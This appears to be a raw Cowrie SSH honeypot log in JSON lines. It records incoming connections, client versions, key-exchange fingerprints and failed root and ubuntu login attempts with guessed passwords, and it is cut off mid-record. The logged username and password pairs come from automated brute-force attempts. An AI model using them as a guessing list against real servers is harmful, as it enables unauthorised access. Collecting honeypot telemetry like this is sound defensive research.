{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":57392,"dst_ip":"10.17.0.5","dst_port":22,"session":"09633f3e60f5","protocol":"ssh","message":"New connection: 40.83.182.122:57392 (10.17.0.5:22) [session: 09633f3e60f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:32.665271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:32.670124Z","src_ip":"40.83.182.122","session":"09633f3e60f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:32.749122Z","src_ip":"40.83.182.122","session":"09633f3e60f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:33.087700Z","src_ip":"40.83.182.122","session":"09633f3e60f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:33.235401Z","src_ip":"213.209.159.158","session":"977d6a714aa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":35958,"dst_ip":"159.203.135.109","dst_port":22,"session":"dac78b38af97","protocol":"ssh","message":"New connection: 213.209.159.158:35958 (159.203.135.109:22) [session: dac78b38af97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:33.321114Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:34.167602Z","src_ip":"40.83.182.122","session":"09633f3e60f5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:34.772020Z","src_ip":"213.209.159.158","session":"dac78b38af97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:34.777242Z","src_ip":"213.209.159.158","session":"dac78b38af97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.53.94.246","src_port":55752,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdbf738ff03c","protocol":"ssh","message":"New connection: 202.53.94.246:55752 (159.203.135.109:22) [session: cdbf738ff03c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:36.013330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:36.018136Z","src_ip":"202.53.94.246","session":"cdbf738ff03c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:36.236472Z","src_ip":"202.53.94.246","session":"cdbf738ff03c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@123","message":"login attempt [root/123@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:37.140469Z","src_ip":"202.53.94.246","session":"cdbf738ff03c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:38.362486Z","src_ip":"202.53.94.246","session":"cdbf738ff03c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wW.2024","message":"login attempt [root/wW.2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:39.958205Z","src_ip":"213.209.159.158","session":"dac78b38af97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.148.224.183","src_port":47900,"dst_ip":"159.203.135.109","dst_port":22,"session":"47f216d13333","protocol":"ssh","message":"New connection: 186.148.224.183:47900 (159.203.135.109:22) [session: 47f216d13333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:40.311725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:40.316941Z","src_ip":"186.148.224.183","session":"47f216d13333","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:40.468380Z","src_ip":"186.148.224.183","session":"47f216d13333","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@33w0rd","message":"login attempt [root/P@33w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:41.103656Z","src_ip":"186.148.224.183","session":"47f216d13333","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:42.258190Z","src_ip":"186.148.224.183","session":"47f216d13333","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:42.383671Z","src_ip":"213.209.159.158","session":"dac78b38af97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":55940,"dst_ip":"159.203.135.109","dst_port":22,"session":"81111ec68fbd","protocol":"ssh","message":"New connection: 213.209.159.158:55940 (159.203.135.109:22) [session: 81111ec68fbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:42.462882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:44.116408Z","src_ip":"213.209.159.158","session":"81111ec68fbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:44.119272Z","src_ip":"213.209.159.158","session":"81111ec68fbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Website123","message":"login attempt [root/Website123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:49.520119Z","src_ip":"213.209.159.158","session":"81111ec68fbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:52.082173Z","src_ip":"213.209.159.158","session":"81111ec68fbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":4496,"dst_ip":"159.203.135.109","dst_port":22,"session":"76fccb9945d4","protocol":"ssh","message":"New connection: 213.209.159.158:4496 (159.203.135.109:22) [session: 76fccb9945d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:52.171045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:53.534465Z","src_ip":"213.209.159.158","session":"76fccb9945d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:53.538136Z","src_ip":"213.209.159.158","session":"76fccb9945d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www.caoniniang.com","message":"login attempt [root/www.caoniniang.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:59.210020Z","src_ip":"213.209.159.158","session":"76fccb9945d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:01.746818Z","src_ip":"213.209.159.158","session":"76fccb9945d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":47296,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4020ff641b1","protocol":"ssh","message":"New connection: 213.209.159.158:47296 (159.203.135.109:22) [session: e4020ff641b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:01.828799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:03.032300Z","src_ip":"213.209.159.158","session":"e4020ff641b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:03.040836Z","src_ip":"213.209.159.158","session":"e4020ff641b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.241.42","src_port":54494,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bdc4d6c0ffc","protocol":"ssh","message":"New connection: 103.154.241.42:54494 (159.203.135.109:22) [session: 0bdc4d6c0ffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:05.574736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:05.580723Z","src_ip":"103.154.241.42","session":"0bdc4d6c0ffc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:05.836223Z","src_ip":"103.154.241.42","session":"0bdc4d6c0ffc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mar","message":"login attempt [root/mar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:06.887591Z","src_ip":"103.154.241.42","session":"0bdc4d6c0ffc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:08.147348Z","src_ip":"103.154.241.42","session":"0bdc4d6c0ffc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wk","message":"login attempt [root/wk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:08.886409Z","src_ip":"213.209.159.158","session":"e4020ff641b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:11.145740Z","src_ip":"213.209.159.158","session":"e4020ff641b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":9074,"dst_ip":"159.203.135.109","dst_port":22,"session":"368d156e7c0a","protocol":"ssh","message":"New connection: 213.209.159.158:9074 (159.203.135.109:22) [session: 368d156e7c0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:11.231726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:12.307284Z","src_ip":"213.209.159.158","session":"368d156e7c0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-s